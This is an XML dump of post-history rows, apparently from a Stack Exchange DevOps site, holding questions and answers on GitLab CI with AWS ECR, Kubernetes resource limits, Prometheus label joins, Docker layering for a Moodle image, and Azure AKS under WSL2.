  <row Id="33532" PostHistoryTypeId="2" PostId="10937" RevisionGUID="2ceb63e2-14b3-4a8d-a2a4-909db986a032" CreationDate="2020-02-28T15:17:26.267" UserId="12833" Text="I use this script in gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;    image: docker:19.03&#xD;&#xA;    services:&#xD;&#xA;    - docker:19.03.0-dind&#xD;&#xA;    before_script:&#xD;&#xA;    - $(aws ecr get-login --no-include-email --region eu-central-1)&#xD;&#xA;&#xD;&#xA;... and provide AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY variables into Settings/CI-CD section. &#xD;&#xA;Ensure your region with images is the same where are you logging in. " ContentLicense="CC BY-SA 4.0" />
  <row Id="33533" PostHistoryTypeId="2" PostId="10938" RevisionGUID="df1d0d55-1b48-4e3a-9020-69033cfd9946" CreationDate="2020-02-28T15:18:46.407" UserId="16059" Text="The DevOps toolkit 2.3 book by Victor Farcic goes into some detail on this.&#xD;&#xA;&#xD;&#xA;# What You Should Understand&#xD;&#xA;&#xD;&#xA; - You as a developer specify whatever requests/limits you like initially.&#xD;&#xA; - These values have no baring on reality.&#xD;&#xA; - In order to get &quot;real&quot; values, you must monitor your application's real resource usage.&#xD;&#xA; - This is best done through a monitoring tool like prometheus, instana, datadog etc.&#xD;&#xA; - E.g. in instana, I can see that I have 512MB set up for a pod's requests, 2G for its limits, but the pod only has one container currently taking 57MB.&#xD;&#xA; - But I can't just use 60MB as a value now... I need to load test my application and see how it behaves under real/stressed circumstances.&#xD;&#xA; - Then you review these values and you can adjust the requests/limits accordingly.&#xD;&#xA;&#xD;&#xA;# Determine Usage Without a Monitoring Tool&#xD;&#xA;&#xD;&#xA;You can use some kubectl commands to get these values as a one off (it's annoying at scale).  Here is an example of a different app I have running.&#xD;&#xA;&#xD;&#xA;Notice that requests/limits are set to 1/4-2 CPUs and 4G-8G memory.  But the container is really using almost no CPU and 1.198G memory.  If I load tested this and those values did not move up, I would need to change them.  But I have load tested it and know that they would go up towards these realistic requests/limits, so it's okay.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl describe pod -n gazelle gazelle-ws-0-0-1-6d67cffcf-lvlhk&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;    Limits:&#xD;&#xA;      cpu:     2&#xD;&#xA;      memory:  8Gi&#xD;&#xA;    Requests:&#xD;&#xA;      cpu:      250m&#xD;&#xA;      memory:   4Gi&#xD;&#xA;&#xD;&#xA;$ kubectl top pod gazelle-ws-0-0-1-6d67cffcf-lvlhk -n gazelle --containers&#xD;&#xA;&#xD;&#xA;POD                                NAME         CPU(cores)   MEMORY(bytes)   &#xD;&#xA;gazelle-ws-0-0-1-6d67cffcf-lvlhk   gazelle-ws   5m           1198Mi &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33534" PostHistoryTypeId="2" PostId="10939" RevisionGUID="498caa20-2037-412d-baef-77737169e6c3" CreationDate="2020-02-28T16:58:55.147" UserId="18007" Text="The solution was to remove the directory `init.groovy.d` from Jenkins home folder (inside the container)" ContentLicense="CC BY-SA 4.0" />
  <row Id="33535" PostHistoryTypeId="2" PostId="10940" RevisionGUID="e3f4cfa3-b6ea-4070-9566-d0ffbec5b6a9" CreationDate="2020-02-28T17:02:53.920" UserId="18007" Text="We had to mention the specific DC on the Site field" ContentLicense="CC BY-SA 4.0" />
  <row Id="33536" PostHistoryTypeId="2" PostId="10941" RevisionGUID="2b8f617f-48a0-447c-a7f8-4e46f02f434d" CreationDate="2020-02-28T17:27:32.967" UserId="10354" Text="In 1.16 k8s deprecated the label kubernetes.io/role: worker&#xD;&#xA;I had previously been using as a filter to target graphs to specific node role using this in my grafana variables declaration&#xD;&#xA;&#xD;&#xA;```#outputs 'worker' to node_role variable.&#xD;&#xA;label_values(kube_node_labels, label_kubernetes_io_role) &#xD;&#xA;#join series based on the the label value&#xD;&#xA;  sum(kube_pod_container_resource_requests_cpu_cores&#xD;&#xA;  * on (node) group_left (label_kubernetes_io_role) kube_node_labels{label_kubernetes_io_role=&quot;$node_role&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In this scary new world of using the label `node-role.kubernetes.io/worker: &quot;&quot;` this no longer works, nor can I necessarily regex it when the part I care about is in the key.&#xD;&#xA;&#xD;&#xA;Is there a new way anybody knows of to filter queries by arbitrary labels on the node" ContentLicense="CC BY-SA 4.0" />
  <row Id="33537" PostHistoryTypeId="1" PostId="10941" RevisionGUID="2b8f617f-48a0-447c-a7f8-4e46f02f434d" CreationDate="2020-02-28T17:27:32.967" UserId="10354" Text="Prometheus - join series based on the key part of a label" ContentLicense="CC BY-SA 4.0" />
  <row Id="33538" PostHistoryTypeId="3" PostId="10941" RevisionGUID="2b8f617f-48a0-447c-a7f8-4e46f02f434d" CreationDate="2020-02-28T17:27:32.967" UserId="10354" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33542" PostHistoryTypeId="5" PostId="10927" RevisionGUID="a2e0bce6-a8aa-4a1f-bf5b-a9bf0924a80c" CreationDate="2020-02-28T19:36:06.317" UserId="3767" Comment="copyedit (edit summary bust have at least 10 characters)" Text="Generally speaking, you want to:&#xD;&#xA;&#xD;&#xA; - Combine multiple **related actions/files** into a single layer so you don't have tons of layers.&#xD;&#xA; - Separate out unrelated actions/files which are likely to change independently. &#xD;&#xA; - Order layers such that those least likely to change occur first in the file.&#xD;&#xA; - Use multi stage builds to clean up if you have lots of garbage in your image/layers that does not need to be in the final image.&#xD;&#xA;&#xD;&#xA;If you have to make a change to anything in the docker file, everything below that point has to be redone; caching is useless at that point.  You want to avoid this.&#xD;&#xA;&#xD;&#xA;So, rather than trying to combine everything into one layer or something odd like that, you should focus on understanding what is likely to change and how you can reduce the amount of layers you have to rebuild if and when that change happens.&#xD;&#xA;&#xD;&#xA;The best explained example I've seen of this is [here](https://spring.io/blog/2018/11/08/spring-boot-in-a-container) for Spring Boot.&#xD;&#xA;&#xD;&#xA;Details are below... but to summarize; they determined that a huge layer/size was the application dependencies from Maven.  They figured most app changes don't require new maven dependencies, so caching the maven dependencies in their own layer would generally make builds and image pulls faster by avoiding re-pulling dependencies.  Then when you change the application code itself, it just pulls the later/smaller layers for the app itself which is very efficient.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;# A Better Dockerfile&#xD;&#xA;&#xD;&#xA;A Spring Boot fat jar naturally has &quot;layers&quot; because of the way that the jar itself is packaged. If we unpack it first it will already be divided into external and internal dependencies. &lt;content removed for brevity&gt;&#xD;&#xA;&#xD;&#xA;## Dockerfile&#xD;&#xA;&#xD;&#xA;    FROM openjdk:8-jdk-alpine&#xD;&#xA;    VOLUME /tmp&#xD;&#xA;    ARG DEPENDENCY=target/dependency&#xD;&#xA;    COPY ${DEPENDENCY}/BOOT-INF/lib /app/lib&#xD;&#xA;    COPY ${DEPENDENCY}/META-INF /app/META-INF&#xD;&#xA;    COPY ${DEPENDENCY}/BOOT-INF/classes /app&#xD;&#xA;    ENTRYPOINT [&quot;java&quot;,&quot;-cp&quot;,&quot;app:app/lib/*&quot;,&quot;hello.Application&quot;]&#xD;&#xA;&#xD;&#xA;There are now 3 layers, with all the application resources in the later 2 layers. If the application dependencies don’t change, then the first layer (from BOOT-INF/lib) will not change, so the build will be faster, and so will the startup of the container at runtime as long as the base layers are already cached.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;There really isn't a magic answer to this.  It really just depends on your application and its dependencies and what is likely to change in your development/deployment environment over time.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33543" PostHistoryTypeId="24" PostId="10927" RevisionGUID="a2e0bce6-a8aa-4a1f-bf5b-a9bf0924a80c" CreationDate="2020-02-28T19:36:06.317" Comment="Proposed by 3767 approved by 16059 edit id of 1150" ContentLicense="CC BY-SA 4.0" />
  <row Id="33544" PostHistoryTypeId="5" PostId="10919" RevisionGUID="b567e475-ba0d-4b9f-af08-a7596caddc54" CreationDate="2020-02-28T19:47:30.777" UserId="3767" Comment="copyedit (edit summary bust have at least 10 characters)" Text="When I build docker image for existing applications I try to use as few layers as possible and clean up any unwanted files. For example building an image for moodle:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile for moodle instance.&#xD;&#xA;# Forked from Jonathan Hardison's &lt;jmh@jonathanhardison.com&gt; docker version. https://github.com/jmhardison/docker-moodle&#xD;&#xA;#Original Maintainer Jon Auer &lt;jda@coldshore.com&gt;&#xD;&#xA;&#xD;&#xA;FROM  php:7.2-apache&#xD;&#xA;&#xD;&#xA;# Replace for later version&#xD;&#xA;ARG VERSION=37&#xD;&#xA;ARG	DB_TYPE=&quot;all&quot;&#xD;&#xA;&#xD;&#xA;VOLUME [&quot;/var/moodledata&quot;]&#xD;&#xA;EXPOSE 80&#xD;&#xA;&#xD;&#xA;ENV MOODLE_DB_TYPE=&quot;${DB_TYPE}&quot;&#xD;&#xA;# Let the container know that there is no tty&#xD;&#xA;ENV DEBIAN_FRONTEND noninteractive \&#xD;&#xA;	MOODLE_URL http://0.0.0.0 \&#xD;&#xA;    MOODLE_ADMIN admin \&#xD;&#xA;    MOODLE_ADMIN_PASSWORD Admin~1234 \&#xD;&#xA;    MOODLE_ADMIN_EMAIL admin@example.com \&#xD;&#xA;    MOODLE_DB_HOST '' \&#xD;&#xA;    MOODLE_DB_PASSWORD '' \&#xD;&#xA;    MOODLE_DB_USER '' \&#xD;&#xA;    MOODLE_DB_NAME '' \&#xD;&#xA;    MOODLE_DB_PORT '3306'&#xD;&#xA;&#xD;&#xA;COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;RUN echo &quot;Build moodle version ${VERSION}&quot; &amp;&amp;\&#xD;&#xA;	chmod +x /usr/local/bin/entrypoint.sh &amp;&amp;\&#xD;&#xA;	apt-get update &amp;&amp; \&#xD;&#xA;	if [ $DB_TYPE = 'mysqli' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup mysql and mariadb support&quot; &amp;&amp; docker-php-ext-install pdo mysqli pdo_mysql; fi &amp;&amp;\&#xD;&#xA;	if [ $DB_TYPE = 'pgsql' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup postgresql support&quot; &amp;&amp;\&#xD;&#xA;		apt-get install -y --no-install-recommends libghc-postgresql-simple-dev &amp;&amp;\&#xD;&#xA;     	docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql &amp;&amp;\&#xD;&#xA;        docker-php-ext-install pdo pgsql pdo_pgsql; \ &#xD;&#xA;	fi &amp;&amp;\&#xD;&#xA;	apt-get -f -y install --no-install-recommends rsync unzip netcat libxmlrpc-c++8-dev libxml2-dev libpng-dev libicu-dev libmcrypt-dev libzip-dev &amp;&amp;\&#xD;&#xA; 	docker-php-ext-install xmlrpc &amp;&amp; \&#xD;&#xA;	docker-php-ext-install mbstring &amp;&amp; \&#xD;&#xA;	whereis libzip &amp;&amp;\&#xD;&#xA;	docker-php-ext-configure zip --with-libzip=/usr/lib/x86_64-linux-gnu/libzip.so &amp;&amp;\&#xD;&#xA;	docker-php-ext-install zip &amp;&amp; \&#xD;&#xA;	docker-php-ext-install xml &amp;&amp; \&#xD;&#xA;	docker-php-ext-install intl &amp;&amp; \&#xD;&#xA; 	docker-php-ext-install soap &amp;&amp; \&#xD;&#xA;	docker-php-ext-install gd &amp;&amp; \&#xD;&#xA;	docker-php-ext-install opcache &amp;&amp; \&#xD;&#xA;	echo &quot;Installing moodle&quot; &amp;&amp; \&#xD;&#xA;	curl https://download.moodle.org/download.php/direct/stable${VERSION}/moodle-latest-${VERSION}.zip -o /tmp/moodle-latest.zip  &amp;&amp; \&#xD;&#xA;	rm -rf /var/www/html/index.html &amp;&amp; \&#xD;&#xA;	cd /tmp &amp;&amp;	unzip /tmp/moodle-latest.zip &amp;&amp; cd / \&#xD;&#xA;	mkdir -p /usr/src/moodle &amp;&amp; \&#xD;&#xA;	mv /tmp/moodle /usr/src/ &amp;&amp; \&#xD;&#xA;	chown www-data:www-data -R /usr/src/moodle &amp;&amp; \&#xD;&#xA;	apt-get purge -y unzip &amp;&amp;\&#xD;&#xA;	apt-get autopurge -y &amp;&amp;\&#xD;&#xA;	apt-get autoremove -y &amp;&amp;\&#xD;&#xA;	apt-get autoclean &amp;&amp;\&#xD;&#xA;	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/*&#xD;&#xA;&#xD;&#xA;COPY ./scripts/moodle-config.php /usr/src/moodle/config.php&#xD;&#xA;COPY ./scripts/detect_mariadb.php /opt/detect_mariadb.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]&#xD;&#xA;CMD [&quot;/usr/sbin/apache2ctl&quot;, &quot;-D&quot;, &quot;FOREGROUND&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;But when I build images for an another (production project) I noticed that once I pull newer images for existing containers only the changed layers are actually being downloaded. &#xD;&#xA;&#xD;&#xA;So I wondered wouldn't be better to have a layer for each purpose for example a single layer for the php itself and an another layer for the application itself. So as a result during deployment only the changed parts will be downloaded instead of a HUGE single layer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But as a downside splitting my builds on smaller layers may require to re-download and delete many required packages for building php extentions. Do you think on large applications may be a problem or does it worth to have longer builds for smaller download during deployment or I am talking nonsense?&#xD;&#xA;&#xD;&#xA;On the other hand I understand using a single layer makes the overall image size smaller. But as a result it will need to actually download the whole layer itself. So if my image is 100MB it will need to re-download the whole 100Mb instead of few kilobytes that a changed layer will be.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ellakcy/docker-moodle/blob/single_dockerfile/dockerfiles/apache/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="33545" PostHistoryTypeId="4" PostId="10919" RevisionGUID="b567e475-ba0d-4b9f-af08-a7596caddc54" CreationDate="2020-02-28T19:47:30.777" UserId="3767" Comment="copyedit (edit summary bust have at least 10 characters)" Text="Should Ichunk my docker images in many small layers instead of one large?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33546" PostHistoryTypeId="24" PostId="10919" RevisionGUID="b567e475-ba0d-4b9f-af08-a7596caddc54" CreationDate="2020-02-28T19:47:30.777" Comment="Proposed by 3767 approved by -1 edit id of 1149" ContentLicense="CC BY-SA 4.0" />
  <row Id="33547" PostHistoryTypeId="5" PostId="10919" RevisionGUID="9eca24f9-81da-4996-beb6-84b68bdfe577" CreationDate="2020-02-28T19:47:30.777" UserId="40" Comment="deleted 4 characters in body; edited title" Text="When I build docker image for existing applications I try to use as few layers as possible and clean up any unwanted files. For example building an image for moodle:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile for moodle instance.&#xD;&#xA;# Forked from Jonathan Hardison's &lt;jmh@jonathanhardison.com&gt; docker version. https://github.com/jmhardison/docker-moodle&#xD;&#xA;#Original Maintainer Jon Auer &lt;jda@coldshore.com&gt;&#xD;&#xA;&#xD;&#xA;FROM  php:7.2-apache&#xD;&#xA;&#xD;&#xA;# Replace for later version&#xD;&#xA;ARG VERSION=37&#xD;&#xA;ARG	DB_TYPE=&quot;all&quot;&#xD;&#xA;&#xD;&#xA;VOLUME [&quot;/var/moodledata&quot;]&#xD;&#xA;EXPOSE 80&#xD;&#xA;&#xD;&#xA;ENV MOODLE_DB_TYPE=&quot;${DB_TYPE}&quot;&#xD;&#xA;# Let the container know that there is no tty&#xD;&#xA;ENV DEBIAN_FRONTEND noninteractive \&#xD;&#xA;	MOODLE_URL http://0.0.0.0 \&#xD;&#xA;    MOODLE_ADMIN admin \&#xD;&#xA;    MOODLE_ADMIN_PASSWORD Admin~1234 \&#xD;&#xA;    MOODLE_ADMIN_EMAIL admin@example.com \&#xD;&#xA;    MOODLE_DB_HOST '' \&#xD;&#xA;    MOODLE_DB_PASSWORD '' \&#xD;&#xA;    MOODLE_DB_USER '' \&#xD;&#xA;    MOODLE_DB_NAME '' \&#xD;&#xA;    MOODLE_DB_PORT '3306'&#xD;&#xA;&#xD;&#xA;COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;RUN echo &quot;Build moodle version ${VERSION}&quot; &amp;&amp;\&#xD;&#xA;	chmod +x /usr/local/bin/entrypoint.sh &amp;&amp;\&#xD;&#xA;	apt-get update &amp;&amp; \&#xD;&#xA;	if [ $DB_TYPE = 'mysqli' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup mysql and mariadb support&quot; &amp;&amp; docker-php-ext-install pdo mysqli pdo_mysql; fi &amp;&amp;\&#xD;&#xA;	if [ $DB_TYPE = 'pgsql' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup postgresql support&quot; &amp;&amp;\&#xD;&#xA;		apt-get install -y --no-install-recommends libghc-postgresql-simple-dev &amp;&amp;\&#xD;&#xA;     	docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql &amp;&amp;\&#xD;&#xA;        docker-php-ext-install pdo pgsql pdo_pgsql; \ &#xD;&#xA;	fi &amp;&amp;\&#xD;&#xA;	apt-get -f -y install --no-install-recommends rsync unzip netcat libxmlrpc-c++8-dev libxml2-dev libpng-dev libicu-dev libmcrypt-dev libzip-dev &amp;&amp;\&#xD;&#xA; 	docker-php-ext-install xmlrpc &amp;&amp; \&#xD;&#xA;	docker-php-ext-install mbstring &amp;&amp; \&#xD;&#xA;	whereis libzip &amp;&amp;\&#xD;&#xA;	docker-php-ext-configure zip --with-libzip=/usr/lib/x86_64-linux-gnu/libzip.so &amp;&amp;\&#xD;&#xA;	docker-php-ext-install zip &amp;&amp; \&#xD;&#xA;	docker-php-ext-install xml &amp;&amp; \&#xD;&#xA;	docker-php-ext-install intl &amp;&amp; \&#xD;&#xA; 	docker-php-ext-install soap &amp;&amp; \&#xD;&#xA;	docker-php-ext-install gd &amp;&amp; \&#xD;&#xA;	docker-php-ext-install opcache &amp;&amp; \&#xD;&#xA;	echo &quot;Installing moodle&quot; &amp;&amp; \&#xD;&#xA;	curl https://download.moodle.org/download.php/direct/stable${VERSION}/moodle-latest-${VERSION}.zip -o /tmp/moodle-latest.zip  &amp;&amp; \&#xD;&#xA;	rm -rf /var/www/html/index.html &amp;&amp; \&#xD;&#xA;	cd /tmp &amp;&amp;	unzip /tmp/moodle-latest.zip &amp;&amp; cd / \&#xD;&#xA;	mkdir -p /usr/src/moodle &amp;&amp; \&#xD;&#xA;	mv /tmp/moodle /usr/src/ &amp;&amp; \&#xD;&#xA;	chown www-data:www-data -R /usr/src/moodle &amp;&amp; \&#xD;&#xA;	apt-get purge -y unzip &amp;&amp;\&#xD;&#xA;	apt-get autopurge -y &amp;&amp;\&#xD;&#xA;	apt-get autoremove -y &amp;&amp;\&#xD;&#xA;	apt-get autoclean &amp;&amp;\&#xD;&#xA;	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/*&#xD;&#xA;&#xD;&#xA;COPY ./scripts/moodle-config.php /usr/src/moodle/config.php&#xD;&#xA;COPY ./scripts/detect_mariadb.php /opt/detect_mariadb.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]&#xD;&#xA;CMD [&quot;/usr/sbin/apache2ctl&quot;, &quot;-D&quot;, &quot;FOREGROUND&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;But when I build images for an another (production project) I noticed that once I pull newer images for existing containers only the changed layers are actually being downloaded. &#xD;&#xA;&#xD;&#xA;So I wonder wouldn't be better to have a layer for each purpose for example a single layer for the php itself and an another layer for the application itself? So as a result during deployment only the changed parts will be downloaded instead of a HUGE single layer.&#xD;&#xA;&#xD;&#xA;But as a downside splitting my builds on smaller layers may require to re-download and delete many required packages for building php extentions. Do you think on large applications may be a problem or does it worth to have longer builds for smaller download during deployment or I am talking nonsense?&#xD;&#xA;&#xD;&#xA;On the other hand I understand using a single layer makes the overall image size smaller. But as a result it will need to actually download the whole layer itself. So if my image is 100MB it will need to re-download the whole 100Mb instead of few kilobytes that a changed layer will be.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ellakcy/docker-moodle/blob/single_dockerfile/dockerfiles/apache/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="33548" PostHistoryTypeId="4" PostId="10919" RevisionGUID="9eca24f9-81da-4996-beb6-84b68bdfe577" CreationDate="2020-02-28T19:47:30.777" UserId="40" Comment="deleted 4 characters in body; edited title" Text="Should I chunk my docker images in many small layers instead of one large?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33550" PostHistoryTypeId="2" PostId="10943" RevisionGUID="dd0a7e28-91d1-4026-b2be-395e44849316" CreationDate="2020-02-28T20:01:17.080" UserId="10354" Text="```&#xD;&#xA;label_values(kube_node_role, role)&#xD;&#xA;&#xD;&#xA;sum(kube_pod_container_resource_requests_cpu_cores&#xD;&#xA;  * on (node) group_left (role) kube_node_role{role=&quot;$node_role&quot;})&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;kube_node_role out of kube-state-metrics can give you a relationship to join" ContentLicense="CC BY-SA 4.0" />
  <row Id="33553" PostHistoryTypeId="2" PostId="10944" RevisionGUID="0ce5023c-3a16-4e92-a886-795665615e7d" CreationDate="2020-02-28T20:53:49.137" UserId="19963" Text="When you download mariadb image, mysql client tool is only available inside container. It is not getting magically installed on your local - why is why you had to install mysql client app.&#xD;&#xA;&#xD;&#xA;Alternative way to connect to db without installing mysql app is to use docker exec and through this get to mysql tool available on container. So you would do something like:&#xD;&#xA;&#xD;&#xA;    docker exec -it your_maria_db_container_id mysql -h localhost -u root -p&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="33555" PostHistoryTypeId="2" PostId="10945" RevisionGUID="e6c2d9bf-a1f8-4e6c-9143-eeb1b63d98cf" CreationDate="2020-02-28T21:49:26.343" UserId="11490" Text="`az aks browse` works fine on my Mac Mini, but I'm trying to work with it in WSL2 Ubuntu 18.04 with Azure CLI on a Windows 10 machine.&#xD;&#xA;```&#xD;&#xA;$ az version                      &#xD;&#xA;This command is in preview. It may be changed/removed in a future release.&#xD;&#xA;{&#xD;&#xA;  &quot;azure-cli&quot;: &quot;2.1.0&quot;,&#xD;&#xA;  &quot;azure-cli-command-modules-nspkg&quot;: &quot;2.0.3&quot;,&#xD;&#xA;  &quot;azure-cli-core&quot;: &quot;2.1.0&quot;,&#xD;&#xA;  &quot;azure-cli-nspkg&quot;: &quot;3.0.4&quot;,&#xD;&#xA;  &quot;azure-cli-telemetry&quot;: &quot;1.0.4&quot;,&#xD;&#xA;  &quot;extensions&quot;: {}&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Kubernetes 1.14.8 which shouldn't make a difference given it works fine in macOS. Appears to be an issue with WSL2.&#xD;&#xA;&#xD;&#xA;The first issue is running:&#xD;&#xA;&#xD;&#xA;`az aks browse -g &lt;groupname&gt; -n &lt;clustername&gt;`&#xD;&#xA;&#xD;&#xA;Just brings up the following in `az cli`:&#xD;&#xA;```&#xD;&#xA;Proxy running on http://127.0.0.1:8001/&#xD;&#xA;Press CTRL+C to close the tunnel..&#xD;&#xA;```&#xD;&#xA;It doesn't automatically open the browser from WSL2 like it does in macOS and Linux. So you have to `CTRL + Click` the `http://127.0.0.1:8001` which will open the browser.&#xD;&#xA;&#xD;&#xA;The second issue is it only brings up a JSON response with a list of API endpoints that looks like the following:&#xD;&#xA;```&#xD;&#xA;paths	&#xD;&#xA;0	&quot;/api&quot;&#xD;&#xA;1	&quot;/api/v1&quot;&#xD;&#xA;2	&quot;/apis&quot;&#xD;&#xA;3	&quot;/apis/&quot;&#xD;&#xA;4	&quot;/apis/acme.cert-manager.io&quot;&#xD;&#xA;5	&quot;/apis/acme.cert-manager.io/v1alpha2&quot;&#xD;&#xA;6	&quot;/apis/admissionregistration.k8s.io&quot;&#xD;&#xA;7	&quot;/apis/admissionregistration.k8s.io/v1beta1&quot;&#xD;&#xA;8	&quot;/apis/apiextensions.k8s.io&quot;&#xD;&#xA;9	&quot;/apis/apiextensions.k8s.io/v1beta1&quot;&#xD;&#xA;10	&quot;/apis/apiregistration.k8s.io&quot;&#xD;&#xA;11	&quot;/apis/apiregistration.k8s.io/v1&quot;&#xD;&#xA;12	&quot;/apis/apiregistration.k8s.io/v1beta1&quot;&#xD;&#xA;13	&quot;/apis/apps&quot;&#xD;&#xA;14	&quot;/apis/apps/v1&quot;&#xD;&#xA;....&#xD;&#xA;```&#xD;&#xA;And doesn't do anything after that.&#xD;&#xA;&#xD;&#xA;Followed all of the necessary steps for `az login`, `az aks get-credentials`, and `RBAC`.&#xD;&#xA;&#xD;&#xA;What gives?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33556" PostHistoryTypeId="1" PostId="10945" RevisionGUID="e6c2d9bf-a1f8-4e6c-9143-eeb1b63d98cf" CreationDate="2020-02-28T21:49:26.343" UserId="11490" Text="az aks browse doesn't open browser automatically on WSL and only showing JSON instead of the dashboard" ContentLicense="CC BY-SA 4.0" />
  <row Id="33557" PostHistoryTypeId="3" PostId="10945" RevisionGUID="e6c2d9bf-a1f8-4e6c-9143-eeb1b63d98cf" CreationDate="2020-02-28T21:49:26.343" UserId="11490" Text="&lt;kubernetes&gt;&lt;azure&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33558" PostHistoryTypeId="2" PostId="10946" RevisionGUID="9dc113ed-7e50-4272-a359-5b91cc495d1b" CreationDate="2020-02-28T22:09:28.563" UserId="19966" Text="I encountered the same error but with a different issue. The Service port needed a name added to it. [https://github.com/istio/istio/issues/19966][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/istio/istio/issues/19966&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;        - name: https # Use http or https&#xD;&#xA;           protocol: TCP&#xD;&#xA;           port: 8080&#xD;&#xA;           targetPort: 8080" ContentLicense="CC BY-SA 4.0" />
  <row Id="33559" PostHistoryTypeId="2" PostId="10947" RevisionGUID="e74ba551-5068-46fa-abbb-46760fd5944f" CreationDate="2020-02-28T22:11:32.387" UserId="19966" Text="I encountered the same error. The Service port needed a name added to it. [https://github.com/istio/istio/issues/19966][1]. Make sure your *beta-optimus* service port has a name.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/istio/istio/issues/19966&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;        - name: https # Use http or https&#xD;&#xA;           protocol: TCP&#xD;&#xA;           port: 8080&#xD;&#xA;           targetPort: 8080" ContentLicense="CC BY-SA 4.0" />
  <row Id="33563" PostHistoryTypeId="2" PostId="10949" RevisionGUID="473aa84c-973e-46de-acb3-967f5c5a16bd" CreationDate="2020-02-28T23:05:14.273" UserId="465" Text="We have a JS build system where every build is released to S3. There is a separate 'bootstrap configuration' file in a different S3 folder that points to the current version in use for that environment. &#xD;&#xA;&#xD;&#xA;It still goes through a testing process, and when QA has signed off, the production release updates the configuration for the production environment to point to the last tested version. &#xD;&#xA;&#xD;&#xA;The benefit of this is fast roll-backs, and being able to reference the source-maps for the stack traces of old releases that were minimised. &#xD;&#xA;&#xD;&#xA;I'm certain this has a term in devops. I just can't remember what it is. &#xD;&#xA;&#xD;&#xA;My question is: **What is the term for releasing all builds to S3 - and then a 'release' changes the version configuration pointer?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="33564" PostHistoryTypeId="1" PostId="10949" RevisionGUID="473aa84c-973e-46de-acb3-967f5c5a16bd" CreationDate="2020-02-28T23:05:14.273" UserId="465" Text="What is the term for releasing all builds to S3 - and then a 'release' changes the version configuration pointer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33565" PostHistoryTypeId="3" PostId="10949" RevisionGUID="473aa84c-973e-46de-acb3-967f5c5a16bd" CreationDate="2020-02-28T23:05:14.273" UserId="465" Text="&lt;deployment&gt;&lt;amazon-s3&gt;&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33567" PostHistoryTypeId="5" PostId="10944" RevisionGUID="a26ec0b3-dfef-4fa8-ac98-0321e3cb1f28" CreationDate="2020-02-29T01:13:46.117" UserId="19963" Comment="added 1 character in body" Text="When you download mariadb image, mysql client tool is only available inside container. It is not getting magically installed on your local - that is why you had to install mysql client app.&#xD;&#xA;&#xD;&#xA;Alternative way to connect to db without installing mysql app is to use docker exec and through this get to mysql tool available on container. So you would do something like:&#xD;&#xA;&#xD;&#xA;    docker exec -it your_maria_db_container_id mysql -h localhost -u root -p&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="33568" PostHistoryTypeId="2" PostId="10950" RevisionGUID="c24d2f6d-c411-4132-a209-78b722a6800b" CreationDate="2020-02-29T05:00:45.897" UserId="677" Text="While it's not clear what your trying to do (the script you have so far for the bit you are having trouble with would probably be handy), I *think* you are essentially just trying to parse your environment and manipulate the variables at the start of your script?&#xA;&#xA;I don't see why add something like this to the first line of your script wouldn't work:&#xA;&#xA;    eval $(typeset -p | grep -E 'declare -x VUE_APP_' | sed -e 's#declare -x VUE_APP_#export VUE_APP_#g')&#xA;&#xA;But then I also don't know what shell you're running or anything else about the container, so I'm not sure.." ContentLicense="CC BY-SA 4.0" />
